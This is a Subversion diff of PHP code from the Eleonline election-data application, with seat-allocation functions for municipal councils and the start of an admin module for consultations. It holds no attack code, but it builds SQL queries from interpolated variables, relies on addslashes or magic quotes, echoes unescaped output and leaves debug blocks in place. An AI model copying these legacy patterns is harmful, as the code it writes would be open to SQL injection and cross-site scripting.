+	echo "<input type=\"submit\" name=\"invia\" value=\""._OK."\"></td></tr></table></form>";
+}else {
+	echo "<form name=\"numgruppo\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"consiglieri\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<br>";
+	echo "<table><tr><td bgcolor=\"$bgcolor1\"><b>"._GRUVIN."</b></td><td>";
+	$res = mysql_query("SELECT t1.num_gruppo,t1.descrizione, sum(t2.voti) as pref FROM ".$prefix."_ele_gruppo as t1, ".$prefix."_ele_voti_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons' group by t1.num_gruppo,t1.descrizione order by pref desc limit 0,2", $dbi);
+	while(list($num_gruppo, $descr_gruppo,$pref) = mysql_fetch_row($res)) {
+#		echo "<option value=\"$num_gruppo\">$descr_gruppo";
+		echo "<input type=\"radio\" name=\"numgruppo\" value=\"$num_gruppo\">$descr_gruppo<br>";
+	}
+	echo "</td></tr>";
+	echo "<tr><td><input type=\"submit\" name=\"invia\" value=\""._OK."\"></td></tr></table></form>";
+
+}
+}
+
+
+function consmin($fascia) {
+global $id_cons, $prefix,$dbi;
+$sorteggio=0;
+#funzione di calcolo per comuni fino a 15.000 abitanti
+#carica numero di liste e voti, i voti sono quelli del gruppo perche' non c'e' voto di lista
+$res_lis = mysql_query("SELECT t1.num_gruppo,sum(t2.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_voti_gruppo as t2 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo group by t1.num_gruppo order by t1.num_gruppo",$dbi);
+$num_liste = mysql_num_rows($res_lis);
+#carica le preferenze
+$pref = array();
+$test = 0;
+$lisvin=0;
+while (list($num_lista,$voti)= mysql_fetch_row($res_lis)){
+	array_push($pref,$voti);
+	if ($voti>$test) {$lisvin=$num_lista; $test=$voti;}
+}
+#setta a zero la lista vincente
+$pref[($lisvin-1)]=0;
+#carica il numero di consiglieri per la minoranza
+switch ($fascia) {
+	case 1: $numcons=12; break; 
+	case 2: $numcons=16; break; 
+	case 3: $numcons=20; break; 
+	case 4: $numcons=20; break; 
+	case 5: $numcons=30; break; 
+	case 6: $numcons=40; break; 
+	case 7: $numcons=46; break; 
+	case 8: $numcons=50; break; 
+	case 9: $numcons=60; break; 
+}
+$num_cons=number_format($numcons/3);
+#carica gli array dei quozienti
+for ($y=0;$y<$num_cons;$y++){
+	for ($x=0;$x<10;$x++)
+		$ele[$y][$x]= $pref[$y]/($x+1);
+}
+#inizializza l'array degli eletti
+for ($x=0;$x<$num_liste;$x++)
+	$eletti[$x]=0;
+
+#for ($x=0;$x<$num_liste;$x++)
+#echo $ele[$x][0]." <br>";
+#estrae i quozienti piu' alti
+$sorteggio=0;
+for ($y=0;$y<$num_cons;$y++){
+	$temp=0;
+	$cand=0;
+	for ($x=0;$x<$num_liste;$x++){
+		if ($ele[$x][0]==$temp and $pref[$x]==$pref[$cand] and ($y+1)==$num_cons) {$sorteggio=1; $mex="Per attribuire l'ultimo seggio è necessario un sorteggio tra la lista n. ".($x+1)." e la lista n. ".($cand+1);}
+		if ($ele[$x][0]>$temp or ($ele[$x][0]==$temp and $pref[$x]>$pref[$cand])) {
+			$temp=$ele[$x][0];
+			$cand=$x;
+			$sorteggio=0;
+		}
+	}
+	if (!$sorteggio){
+ 	$eletti[$cand]++;
+ 	array_shift($ele[$cand]);echo "<br>";
+ 	}
+}
+for ($x=0;$x<$num_liste;$x++)
+ 	echo "lista n. ".intval($x+1)." ".$eletti[$x]." eletti <br>";
+echo "sorteggio: $sorteggio <br>";
+echo "lista vincente ".$lisvin." ".number_format(($numcons*2)/3)." eletti"; 
+}
+
+
+
+
+
+function calcoloseggi($gruppi,$num_cons){
+global $ultimo,$mex,$sorteggio;
+
+include ("crea_pagina.php");
+#carica le preferenze
+$pref = array();
+$ultimo=0;
+$mex='';
+$sorteggio=0;
+unset($eletti);
+#inizializza l'array degli eletti
+#for ($x=1;$x<=$num_liste;$x++)
+foreach ($gruppi as $x=>$val){
+ $eletti[$x]=0;
+ }
+#carica gli array dei quozienti
+#for ($y=0;$y<$num_liste;$y++)
+foreach($gruppi as $y=>$tmp){
+	for ($x=0;$x<$num_cons;$x++)
+		$ele[$y][$x]= $tmp/($x+1);
+}
+#estrae i quozienti piu' alti
+for ($y=0;$y<$num_cons;$y++){
+ $temp=0;
+ $cand=0;
+# for ($x=0;$x<$num_liste;$x++){
+
+foreach($gruppi as $x=>$tmp){  
+  if ($ele[$x][0]==$temp and $pref[$x]==$pref[$cand] and ($y+1)==$num_cons) {$sorteggio=1; $mex="Per attribuire l'ultimo seggio è necessario un sorteggio tra la lista n. ".($x+1)." e la lista n. ".($cand+1);}
+  if ($ele[$x][0]>$temp or ($ele[$x][0]==$temp and $pref[$x]>$pref[$cand])) {
+   $temp=$ele[$x][0];
+   $cand=$x;
+   $sorteggio=0;
+  }
+ }
+ if (!$sorteggio){
+ 	$eletti[$cand]++;
+ 	$ultimo=$cand;
+ 	array_shift($ele[$cand]);
+ }
+}
+return ($eletti);
+}
+
+function stampalista($arvin,$arper) {
+//echo "<table><tr><td>";
+$x=0;
+while (isset($arvin[$x][0])) {
+echo "--------------vince key:$key - val:$val<br>";
+   $y=0;
+   while (isset($arvin[$x][$y])){
+   	echo "-----chiave:$lista val:$y<br>";
+   	$y++;
+   }
+$x++;
+}
+foreach ($arper as $key=>$val) {
+   foreach($val as $x=>$y) echo "-----chiave:$x val:$y<br>";
+echo "perde key:$key - val:$val<br>";
+}
+
+}
+
+function conssup($fascia,$gruppo,$collegate,$collperd) {
+global $id_cons, $prefix,$dbi;
+global $groups,$lists,$eletti,$ultimo;
+$groups=array();
+$lists=array();
+$eletti=array();
+
+#$sorteggio=0;
+#funzione di calcolo per comuni oltre 15.000 abitanti
+#carica il numero di consiglieri da eleggere
+switch ($fascia) {
+	case 1: $numcons=12; break; 
+	case 2: $numcons=16; break; 
+	case 3: $numcons=20; break; 
+	case 4: $numcons=20; break; 
+	case 5: $numcons=30; break; 
+	case 6: $numcons=40; break; 
+	case 7: $numcons=46; break; 
+	case 8: $numcons=50; break; 
+	case 9: $numcons=60; break; 
+}
+
+
+
+
+
+
+
+
+
+
+
+/////////////////////test 
+$varper="<table><tr><td>SEGGI ASSEGNATI ALLA MINORANZA</TD></TR></TABLE><table><tr> ";
+$varvin="<table><tr><td>SEGGI ASSEGNATI ALLA MAGGIORANZA</TD></TR></TABLE><table><tr> ";
+$res_val = mysql_query("SELECT sum(validi) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+list($validi) = mysql_fetch_row($res_val);
+$res_per = mysql_query("SELECT t1.descrizione,t1.num_gruppo,sum(t3.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista group by t1.descrizione,t1.num_gruppo order by t1.num_gruppo",$dbi);
+$groups=array();
+$premio=0;
+#carica l'array deui gruppi e della cifra di gruppo
+while (list($descr,$num_gruppo,$voti)= mysql_fetch_row($res_per)){
+    $desgruppi[$num_gruppo]=$descr;
+    #controlla se un gruppo di liste, tra quelle perdenti, ha superato il 50%
+    if ($num_gruppo!=$gruppo and $voti>= $validi/2) $premio=2;
+    $groups[($num_gruppo)]=$voti;
+    #elimina gruppi che non hanno superato lo sbarramento
+    if ($voti< ($validi*3)/100) unset($groups[($num_gruppo)]);
+}
+#controlla se la percentuale del gruppo vincente e' tra il 40 e il 60%
+#e se nessun altro gruppo ha superato il 50% assegna il premio di maggioranza
+if ($groups[$gruppo]>number_format(($validi*4)/10) and $groups[$gruppo]<number_format(($validi*6)/10) and !$premio) $premio=1;
+else $premio=0;
+
+$candidati=array();
+if ($premio) {
+    $sindaco[$gruppo]=$groups[$gruppo];
+    unset($groups[$gruppo]);
+    $gruppomag=calcoloseggi($sindaco,($numcons*6/10));
+#######calcola i seggi per lista
+$arvin[0][0]=$desgruppi[$gruppo];
+foreach ($gruppomag as $key=>$val){
+    echo " gruppo n. : $key : val : $val<br>";
+echo "ultimo assegnato al gruppo: $ultimo<br>";
+$res_lis = mysql_query("SELECT t2.id_lista,t2.descrizione,t2.num_lista,sum(t3.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo='$key' group by t2.id_lista,t2.descrizione,t2.num_lista order by t2.num_lista",$dbi);
+while (list($id_lista,$descr,$x,$y)=mysql_fetch_row($res_lis)){
+    $pos=1;
+    $arvin[$x][$pos++]=$descr." - Voti: $y (".number_format($y*100/$validi,2)."%)"; 
+    $res_can = mysql_query("SELECT concat(t1.cognome,' ',t1.nome) as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+    while(list($cand,$pre)=mysql_fetch_row($res_can)) $arvin[$x][$pos++]=$descr." - $y ";
+    $listemag[$x]=$y;
+    $desliste[$x]=$descr;
+}
+#foreach ($groups as $key=>$val)echo "           key: $key : val : $val<br>";
+    $seggimag=array();
+    $seggimag=calcoloseggi($listemag,$val);
+    foreach ($seggimag as $key=>$val){
+    	$arvin[$key][0]=$val;
+        echo "lista n. $key seggi spettanti:$val<br>";
+#        $consiglio
+    }
+}
+$numcons=($numcons*4/10);
+}
+
+#####calcolo per la minoranza o in caso non ci sia premio di maggioranza   
+$gruppomin=calcoloseggi($groups,$numcons);
+foreach ($gruppomin as $key=>$val){
+	if(!$premio and $key==$gruppo) $arvin[0][0]=$desgruppi[$gruppo];
+	else $arper[0][0]=$desgruppi[$key];
+    echo " gruppo n. : $key : val : $val<br>";
+echo "ultimo assegnato al gruppo: $ultimo<br>";
+$res_lis = mysql_query("SELECT t2.id_lista,t2.descrizione,t2.num_lista,sum(t3.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo='$key' group by t2.id_lista,t2.descrizione,t2.num_lista order by t2.num_lista",$dbi);
+$x=0;
+while (list($id_lista,$descr,$x,$y)=mysql_fetch_row($res_lis)){
+    unset($listemin);
+    $pos=1;
+    if(!$premio and $key==$gruppo) $arvin[$x][$pos++]=$descr." - Voti: $y (".number_format($y*100/$validi,2)."%)";
+    else $arper[$x][$pos++]=$descr." - Voti: $y (".number_format($y*100/$validi,2)."%)"; 
+    $res_can = mysql_query("SELECT concat(t1.cognome,' ',t1.nome) as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+    while(list($cand,$pre)=mysql_fetch_row($res_can)) 
+    if(!$premio and $key==$gruppo) $arvin[$x][$pos++]=$descr." - $y ";
+    else $arper[$x][$pos++]=$descr." - $y ";
+    $listemin[$x]=$y;
+    $desliste[$x]=$descr;
+}
+#foreach ($groups as $key=>$val)echo "           key: $key : val : $val<br>";
+    $seggimin=array();
+    $seggimin=calcoloseggi($listemin,$val);
+    foreach ($seggimin as $key=>$val){
+    	if(!$premio and $key==$gruppo) $arvin[$key][0]=$val;
+    	else $arper[$key][0]=$val;
+        echo "lista n. $key seggi spettanti:$val<br>";
+#        $consiglio
+    }
+}
+crea_tabella($arvin);
+crea_tabella($arper);
+
+/*if(isset($listemin)) unset($listemin);
+echo "<br><br><br> gruppo n. : $key : val : $val<br>";
+echo "ultimo assegnato al gruppo: $ultimo<br>";
+$res_lis = mysql_query("SELECT t2.num_lista,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo='$key' group by t2.num_lista order by t2.num_lista",$dbi);
+$x=0;
+while (list($x,$y)=mysql_fetch_row($res_lis)) $listemin[$x]=$y;
+#foreach ($groups as $key=>$val)echo "           key: $key : val : $val<br>";
+    $seggimin=array();
+    $seggimin=calcoloseggi($listemin,$val);
+    foreach ($seggimin as $key=>$val){
+        if ($key==$ultimo) $val--;
+        echo "lista n. $key seggi spettanti:$val<br>";
+    }
+}
+/*$seggi = array();
+$seggi=calcoloseggi($groups,$numcons);
+foreach ($seggi as $key=>$val){
+unset($groups);
+ echo " gruppo n. : $key : val : $val<br>";
+echo "ultimo assegnato al gruppo: $ultimo<br>";
+$res_lis = mysql_query("SELECT t2.num_lista,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo='$key' group by t2.num_lista order by t2.num_lista",$dbi);
+$x=0;
+while (list($x,$y)=mysql_fetch_row($res_lis)) $groups[$x]=$y;
+#foreach ($groups as $key=>$val)echo "           key: $key : val : $val<br>";
+    $seggilista=array();
+    $seggilista=calcoloseggi($groups,$val);
+    foreach ($seggilista as $key=>$val){
+        if ($key==$ultimo) $val--;
+        echo "lista n. $key seggi spettanti:$val<br>";
+    }
+}
+/*while (list($num_gruppo,$num_lista,$voti)= mysql_fetch_row($res_lis)){
+    //array_push($groups[($num_gruppo)],($num_lista));
+    $groups[($num_gruppo)][($num_lista)]=array();
+    array_push($groups[($num_gruppo)][($num_lista)],$voti);
+}
+foreach ($groups as $key=>$val){
+echo "gruppo: $key -- voti: ".$val[0]."<br>";
+    foreach($val[1] as $lis=>$vot)
+        foreach ($vot as $des=>$che)
+            echo " lista $des voti $che<br>";
+}*/
+//////////////////////////
+
+
+
+
+
+#controlla che la lista vincente abbia ottenuto almeno il 40% dei voti validi e meno del 60
+$res_vin = mysql_query("SELECT sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo='$gruppo'",$dbi);
+list($voti)= mysql_fetch_row($res_vin);
+$res_val = mysql_query("SELECT sum(validi) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+list($validi) = mysql_fetch_row($res_val);
+#ma nessun altro gruppo di liste deve aver raggiunto il 50% dei voti validi
+$res_per = mysql_query("SELECT t1.num_gruppo,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo!='$gruppo' group by t1.num_gruppo order by t1.num_gruppo",$dbi);
+$premio=0;
+$gruppi=0;
+$quorum=array();
+if ($voti>number_format(($validi*4)/10) and $voti<number_format(($validi*6)/10)) $premio=1;
+while (list($gruppoper,$voti)= mysql_fetch_row($res_per))
+{
+	if ($voti>= $validi/2) $premio=0;
+	if ($voti>= ($validi*3)/100) {array_push($quorum,$gruppoper);}
+	$gruppi++;
+}
+if (!$premio)array_push($quorum,$gruppo);
+#carica numero di liste e voti, se c'e' il premio si effettuano due calcoli separati uno per le liste vincenti e uno per le altre
+if ($premio){ 
+	$res_lisper = mysql_query("SELECT t1.num_gruppo,t2.num_lista,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo != '$gruppo' group by t1.num_gruppo,t2.num_lista order by t2.num_lista",$dbi);
+	$num_liste = mysql_num_rows($res_lisper);
+	$num_cons=number_format(($numcons*4)/10);
+	$res_lisvin = mysql_query("SELECT t2.num_lista,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista and t1.num_gruppo = '$gruppo' group by t2.num_lista order by t2.num_lista",$dbi);
+	$num_listevin = mysql_num_rows($res_lisvin);
+	$num_consvin=number_format(($numcons*6)/10);
+}else{
+	$res_lisper = mysql_query("SELECT t1.num_gruppo,t2.num_lista,sum(t3.voti) from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_lista as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.id_lista=t3.id_lista group by t1.num_gruppo,t2.num_lista order by t2.num_lista",$dbi);
+	$num_liste = mysql_num_rows($res_lisper);
+	$num_cons=$numcons;
+}
+#carica le preferenze
+$pref = array();
+$liste = array();
+$digruppo = array();
+$ultimo = array();
+$groups = array();
+#inizializza l'array degli eletti
+for ($x=0;$x<=$num_liste;$x++){
+ $eletti[$x]=0;
+ }
+ $x=0;
+while (list($num_gruppo,$num_lista,$voti)= mysql_fetch_row($res_lisper)){
+	if (!in_array($num_gruppo,$quorum)) {$voti=0;}
+	array_push($pref,$voti);
+	array_push($liste,$num_lista);
+	$digruppo[$x]=$num_gruppo;
+	if (!isset($groups[$num_gruppo])) $groups[$num_gruppo]=array(); 
+	array_push($groups[$num_gruppo],$num_lista);
+	$x++;
+}
+#carica gli array dei quozienti
+for ($y=0;$y<$num_liste;$y++){
+	for ($x=0;$x<$num_cons;$x++)
+		$ele[$y][$x]= $pref[$y]/($x+1);
+}
+#estrae i quozienti piu' alti
+$sorteggio=0;
+for ($y=0;$y<$num_cons;$y++){
+ $temp=0;
+ $cand=0;
+ $mex='';
+ for ($x=0;$x<$num_liste;$x++){
+  if ($ele[$x][0]==$temp and $pref[$x]==$pref[$cand] and ($y+1)==$num_cons) {$sorteggio=1; $mex="Per attribuire l'ultimo seggio è necessario un sorteggio tra la lista n. ".($x+1)." e la lista n. ".($cand+1);}
+  if ($ele[$x][0]>$temp or ($ele[$x][0]==$temp and $pref[$x]>$pref[$cand])) {
+   $temp=$ele[$x][0];
+   $cand=$x;
+   $sorteggio=0;
+  }
+ }
+ if (!$sorteggio){
+ 	$eletti[$cand]++;
+ 	$ultimo[$digruppo[($cand)]]=$cand;
+ 	array_shift($ele[$cand]);
+ }
+}
+
+foreach ($ultimo as $key=>$sind) { //echo "lista: $sind - gruppo: $key eletti: ".$eletti[($val-1)]."<br>";
+ if($key!=$gruppo) $eletti[$sind]--;
+}
+#
+#foreach($groups as $key=>$val1) foreach ($val1 as $val) echo "gruppo: $key - lista: $val eletti: ".$eletti[($val-1)]."<br>";
+#for ($x=0;$x<$num_liste;$x++) //caricare in una variabile il testo da visualizzare, e' necessario controllare: if (!$premio) vanno separate le liste vincenti dalle altre 
+# echo "lista n. ".$liste[$x]." ".$eletti[$x]." eletti<br>";
+#echo "sorteggio: $sorteggio <br>";
+$varper="<table><tr><td>SEGGI ASSEGNATI ALLA MINORANZA</TD></TR></TABLE><table><tr> ";
+$varvin="<table><tr><td>SEGGI ASSEGNATI ALLA MAGGIORANZA</TD></TR></TABLE><table><tr> ";
+
+#for ($y=0;$y<$gruppi;$y++) 
+foreach($groups as $key=>$val1) {
+    if (isset($ultimo[$key])) {
+    $res_gru = mysql_query("SELECT descrizione from ".$prefix."_ele_gruppo where id_cons='$id_cons' and num_gruppo='".$key."'",$dbi);
+    list($descr) = mysql_fetch_row($res_gru);
+    if ($key==$gruppo){
+        $varvin.= "<td valign=\"top\">\n<table><tr><td> Seggi spettanti al gruppo n. ".$key."</td></tr>";
+        $varvin.="<tr><td bgcolor=\"".$_SESSION['bgcolor2']."\">SINDACO ELETTO: $descr</td></tr><tr></table>\n";
+        $varvin.="<table><tr>";
+    }else{
+        $varper.= "<td valign=\"top\">\n<table><tr><td> Seggi spettanti al gruppo n. ".$key."</td></tr>";
+        $varper.="<tr><td bgcolor=\"".$_SESSION['bgcolor2']."\">$descr</td></tr><tr></table>\n";
+        $varper.="<table><tr>";
+    }
+    foreach($val1 as $val) { 
+        if ($eletti[($val-1)]){ 
+            $res_lis = mysql_query("SELECT id_lista,descrizione from ".$prefix."_ele_lista where id_cons='$id_cons' and num_lista='".$val."'",$dbi);
+            list($id_lista,$descr) = mysql_fetch_row($res_lis);
+            $res_lis = mysql_query("SELECT concat(t1.cognome,' ',t1.nome) as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+            if ($key==$gruppo) $varvin.="<td valign=\"top\">\n<table><tr><td>Lista n. $val: $descr <b>seggi ".$eletti[($val-1)]."</b></td><td></td></tr>";
+            else $varper.="<td valign=\"top\">\n<table><tr><td>Lista n. $val: $descr <b>seggi ".$eletti[($val-1)]."</b></td><td></td></tr>";
+            $x=0;
+            while (list($descr,$voti) = mysql_fetch_row($res_lis)) {
+                $bgcolor1= (($x++)<$eletti[($val-1)]) ? $_SESSION['bgcolor2'] : $_SESSION['bgcolor1'] ;
+                if ($key==$gruppo) $varvin.="<tr><td bgcolor=\"$bgcolor1\">$descr</td><td bgcolor=\"$bgcolor1\">$voti</td></tr>";
+                else $varper.="<tr><td bgcolor=\"$bgcolor1\">$descr</td><td bgcolor=\"$bgcolor1\">$voti</td></tr>";
+            }
+            if ($key==$gruppo) $varvin.= "</table>\n</td>";
+            else $varper.= "</table>\n</td>";
+        }
+    }
+            if ($key==$gruppo) $varvin.="</tr></table>\n</td>";
+            else $varper.="</tr></table>\n</td>";
+    } 
+  }
+    $varper.="</tr><tr><td>$mex</td></tr></table>\n";
+
+unset ($eletti);
+unset($ele);
+if($premio){
+$num_cons=$num_consvin;
+$num_liste=$num_listevin;
+#carica le preferenze
+$pref = array();
+$liste = array();
+while (list($num_lista,$voti)= mysql_fetch_row($res_lisvin)){
+	array_push($pref,$voti);
+	array_push($liste,$num_lista);
+}
+#carica gli array dei quozienti
+for ($y=0;$y<$num_liste;$y++){
+	for ($x=0;$x<$num_cons;$x++)
+		$ele[$y][$x]= $pref[$y]/($x+1);
+}
+#inizializza l'array degli eletti
+for ($x=0;$x<$num_liste;$x++)
+ $eletti[$x]=0;
+#estrae i quozienti piu' alti
+$sorteggio=0;
+for ($y=0;$y<$num_cons;$y++){
+ $temp=0;
+ $cand=0;
+ for ($x=0;$x<$num_liste;$x++){
+	if ($ele[$x][0]==$temp and $pref[$x]==$pref[$cand] and ($y+1)==$num_cons) {$sorteggio=1; $mex="Per attribuire l'ultimo seggio è necessario un sorteggio tra la lista n. ".($x+1)." e la lista n. ".($cand+1);}
+  if ($ele[$x][0]>$temp or ($ele[$x][0]==$temp and $pref[$x]>$pref[$cand])) {
+   $temp=$ele[$x][0];
+   $cand=$x;
+   $sorteggio=0;
+  }
+ }
+ if (!$sorteggio){
+	$eletti[$cand]++;
+	array_shift($ele[$cand]);
+ }
+}
+#visualizza il gruppo, il candidato a sindaco eletto consigliere, le liste e i consiglieri
+#for ($x=0;$x<$num_liste;$x++)
+# echo "lista n. ".$liste[$x]." ".$eletti[$x]." eletti <br>";
+#echo "sorteggio: $sorteggio <br>";
+#foreach($eletti as $key=>$val) echo "lista: ".$liste[$key]." - eletti: $val <br>";
+///////////////
+//foreach($groups as $key=>$val1) {echo "lista: $val - gruppo: $key eletti: ".$eletti[($val-1)]."<br>";
+    $key=$gruppo;
+    $res_gru = mysql_query("SELECT descrizione from ".$prefix."_ele_gruppo where id_cons='$id_cons' and num_gruppo='".$key."'",$dbi);
+    list($descr) = mysql_fetch_row($res_gru);
+        $varvin.= "<td valign=\"top\">\n<table><tr><td> Seggi spettanti al gruppo n. ".$key."</td></tr>";
+        $varvin.="<tr><td bgcolor=\"".$_SESSION['bgcolor2']."\">SINDACO ELETTO: $descr</td></tr><tr></table>\n";
+        $varvin.="<table><tr>";
+    foreach($eletti as $lis=>$val) { //echo "lista: ".$liste[$lis]." - gruppo: $key eletti: ".$val."<br>";
+//        if ($eletti[($val-1)]){ 
+            $res_lis = mysql_query("SELECT id_lista,descrizione from ".$prefix."_ele_lista where id_cons='$id_cons' and num_lista='".$liste[$lis]."'",$dbi);
+            list($id_lista,$descr) = mysql_fetch_row($res_lis);
+            $res_lis = mysql_query("SELECT concat(t1.cognome,' ',t1.nome) as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,num_cand",$dbi);
+            $varvin.="<td valign=\"top\">\n<table><tr><td>Lista n. ".$liste[$lis].": $descr <b>seggi ".$val."</b></td><td></td></tr>";
+            $x=0;
+            while (list($descr,$voti) = mysql_fetch_row($res_lis)) {
+                $bgcolor1= (($x++)<$val) ? $_SESSION['bgcolor2'] : $_SESSION['bgcolor1'] ;
+                $varvin.="<tr><td bgcolor=\"$bgcolor1\">$descr</td><td bgcolor=\"$bgcolor1\">$voti</td></tr>";
+            }
+            $varvin.= "</table>\n</td>";
+//        }
+    }
+            $varvin.="</tr></table>\n</td>";
+     
+  
+///////////////
+}
+$varvin.="</tr><tr><td>$mex</td></tr></table>\n";
+    echo $varvin;
+    echo $varper;
+
+}
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazioni.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazioni.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazioni.php	(revision 44)
@@ -0,0 +1,312 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Consultazioni                                                 */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$perms=ChiSei(0);
+//if ($perms<128 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+if ($perms!=256) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+if (isset($param['id_cons_gen'])){
+	 $id_cons_gen=intval($param['id_cons_gen']);
+$res = mysql_query("SELECT tipo_cons FROM ".$prefix."_ele_consultazione where id_cons_gen=$id_cons_gen " , $dbi);
+list($tipo_cons) = mysql_fetch_row($res);
+} else {
+$id_cons_gen=0;
+$tipo_cons=0;
+}
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok=0;
+if (isset($param['data_in'])) get_magic_quotes_gpc() ? $data_in=$param['data_in']:$data_in=addslashes($param['data_in']); else $data_in='';
+if (isset($param['data_fine'])) get_magic_quotes_gpc() ? $data_fine=$param['data_fine']:$data_fine=addslashes($param['data_fine']); else $data_fine='';
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['dig'])) $dig=intval($param['dig']); else $dig=date("d",time());
+if (isset($param['dim'])) $dim=intval($param['dim']); else $dim=date("m",time());
+if (isset($param['dia'])) $dia=intval($param['dia']); else $dia=date("Y",time());
+if (isset($param['dfg'])) $dfg=intval($param['dfg']); else $dfg=date("d",time());
+if (isset($param['dfm'])) $dfm=intval($param['dfm']); else $dfm=date("m",time());
+if (isset($param['dfa'])) $dfa=intval($param['dfa']); else $dfa=date("Y",time());
+if (isset($param['duplica'])) $duplica=intval($param['duplica']); else $duplica='';
+if (isset($param['referendum'])) get_magic_quotes_gpc() ? $referendum=$param['referendum']:$referendum=addslashes($param['referendum']); else $referendum='';
+if (isset($param['liste'])) get_magic_quotes_gpc() ? $liste=$param['liste']:$liste=addslashes($param['liste']); else $liste='';
+if (isset($param['gruppi'])) get_magic_quotes_gpc() ? $gruppi=$param['gruppi']:$gruppi=addslashes($param['gruppi']); else $gruppi='';
+if (isset($param['votigruppo'])) get_magic_quotes_gpc() ? $votigruppo=$param['votigruppo']:$votigruppo=addslashes($param['votigruppo']); else $votigruppo='';
+if (isset($param['votilista'])) get_magic_quotes_gpc() ? $votilista=$param['votilista']:$votilista=addslashes($param['votilista']); else $votilista='';
+if (isset($param['voticandi'])) get_magic_quotes_gpc() ? $voticandi=$param['voticandi']:$voticandi=addslashes($param['voticandi']); else $voticandi='';
+if (isset($param['ballo'])) get_magic_quotes_gpc() ? $ballo=$param['ballo']:$ballo=addslashes($param['ballo']); else $ballo='';
+if (isset($param['circo'])) get_magic_quotes_gpc() ? $circo=$param['circo']:$circo=addslashes($param['circo']); else $circo='';
+if (isset($param['descr_cons2'])) get_magic_quotes_gpc() ? $descr_cons2=$param['descr_cons2']:$descr_cons2=addslashes($param['descr_cons2']); else $descr_cons2='';
